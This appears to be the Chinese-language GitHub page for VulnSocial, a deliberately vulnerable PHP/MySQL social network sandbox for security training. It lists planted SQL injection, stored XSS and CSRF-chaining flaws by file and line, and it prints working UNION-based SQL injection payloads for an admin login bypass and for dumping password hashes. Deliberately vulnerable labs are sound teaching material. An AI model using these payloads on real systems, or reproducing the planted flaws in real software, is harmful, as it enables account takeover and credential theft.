FardinIqbal/vulnsocial
GitHub: FardinIqbal/vulnsocial
一个基于 PHP + MySQL 的故意设计存在漏洞的社交网络沙箱,用于 Web 安全漏洞利用开发、安全编码修复和漏洞分析报告的实践教学。
Stars: 0 | Forks: 0
php:8.2-apache
port 80"] MySQL[("db container
mysql:8.4.8
port 3306")] end Browser -- "HTTP :8080" --> Apache Apache -- "mysqli (port 3306)" --> MySQL Apache -. "init.sql seed" .-> MySQL ``` 两个容器,一个 bridge 网络。Web 应用通过服务名 (`db`) 与 MySQL 通信。数据库**没有**暴露给宿主机——仅 Web 应用开放在 `:8080` 端口。有关请求生命周期、会话/CSRF 状态机以及完整的 ER 图,请参见 [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md)。 ## 漏洞列表 | ID | 类别 | 位置 | 接收点 | 严重程度 (沙箱环境) | | --- | -------- | --------------------------------------- | ------------------------------------------------- | ------------------ | | V-1 | SQLi | `webapp/db/functions.php:44` | `checkUserAuth()` — 登录表单,基于 UNION | 严重 (身份验证绕过) | | V-2 | SQLi | `webapp/db/functions.php:90` | `filterPostsByContent()` — 搜索,基于 UNION | 高 (全表数据窃取) | | V-3 | XSS | `webapp/components/post.php:7` | `
` 帖子正文,原始输出 | 高 (存储型,持久化) | | V-4 | CSRF-via-XSS | `webapp/actions/get_csrf_token.php` | 可从 V-3 触达的同源 token oracle | 链式调用 — 一旦 V-3 被利用,CSRF 防御即刻瓦解 | 其余的每一个涉及状态更改的端点都*受到* CSRF 保护(基于会话的 token,`hash_equals`),其他的每一个数据库调用都使用了预处理语句,所有的用户名显示都经过 `htmlspecialchars` 编码。这些漏洞的存在是极其精准且克制的。有关完整的威胁模型和根本原因分析,请参见 [`docs/SECURITY.md`](docs/SECURITY.md)。 ## 漏洞利用参考 ``` # V-1 — 以 admin 登录 username: ' UNION SELECT 1,'admin','$2y$10$edpOw5BKReEYXiGNpv9coOIhLWxlsAY4IY0yBQPTG.u4KYYfZpXtC' -- - password: pwned # V-2 — 窃取 users table search: %' UNION SELECT id, id, password FROM users -- - # V-3 + V-4 — 驱动 CSRF 认证 friend request 的 stored XSS ``` 逐步推导过程详见 [`docs/EXPLOITS.md`](docs/EXPLOITS.md)。 ## 文档 | 文档 | 涵盖内容 | | -------------------------------------------- | ----------------------------------------------------------------------------- | | [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md) | 容器拓扑,请求生命周期,会话/CSRF 状态机,ER 图。 | | [docs/SECURITY.md](docs/SECURITY.md) | 威胁模型,漏洞深入分析,深度防御审计。 | | [docs/EXPLOITS.md](docs/EXPLOITS.md) | Payload 构建,逐字节分析,验证步骤。 | | [docs/HARDENING.md](docs/HARDENING.md) | 针对每个漏洞的补丁级别修复及代码差异对比。 | | [docs/API.md](docs/API.md) | 每一个 HTTP 端点:方法,参数,认证,副作用,状态码。 | | [docs/DATABASE.md](docs/DATABASE.md) | 模式,索引,约束,种子数据,查询模式。 | | [docs/DEVELOPMENT.md](docs/DEVELOPMENT.md) | 本地开发流程,调试,容器配置机制,常见陷阱。 | | [docs/CONTRIBUTING.md](docs/CONTRIBUTING.md) | 代码风格,分支管理,如何负责任地添加新的“漏洞”功能。 | | [recon.md](recon.md) | 基于源代码的信息收集笔记(类似于渗透测试人员最初会草拟的内容)。 | ## 项目结构 ``` . ├── compose.yml # Two-service Docker stack ├── webapp/ # PHP application │ ├── Dockerfile │ ├── index.php # Timeline + welcome page │ ├── header.php # Session bootstrap + CSRF mint + navbar │ ├── profile.php # User profile (with self-redirect) │ ├── info.php # phpinfo() — for debugging only, see SECURITY.md §6 │ ├── auth/ # login.php, signup.php, logout.php │ ├── actions/ # CSRF-protected POST endpoints (friend req, posts, ...) │ ├── components/ # Reusable view fragments │ ├── db/ # Connection + query helpers (auth.php, functions.php) │ ├── js/ # CSRF auto-fill + textarea counter │ └── assets/ # Static images ├── sql_db/ # Database container │ ├── Dockerfile │ └── init.sql # Schema + seeded users ├── script.py # End-to-end exploit driver ├── recon.md # Recon notes ├── exploits.txt # Cheat-sheet payloads └── docs/ # Long-form documentation ``` ## 安全提示 VulnSocial 是**故意设计为可被利用的**。请勿将其暴露在公共网络中,请勿复用其中的密码,也不要将其部署在任何有真实用户的环境中。在本地运行它,从中学习,然后销毁它。完整的免责声明请参见 [`docs/SECURITY.md`](docs/SECURITY.md) §0。 ## 许可证 MIT — 详见 [LICENSE](LICENSE)。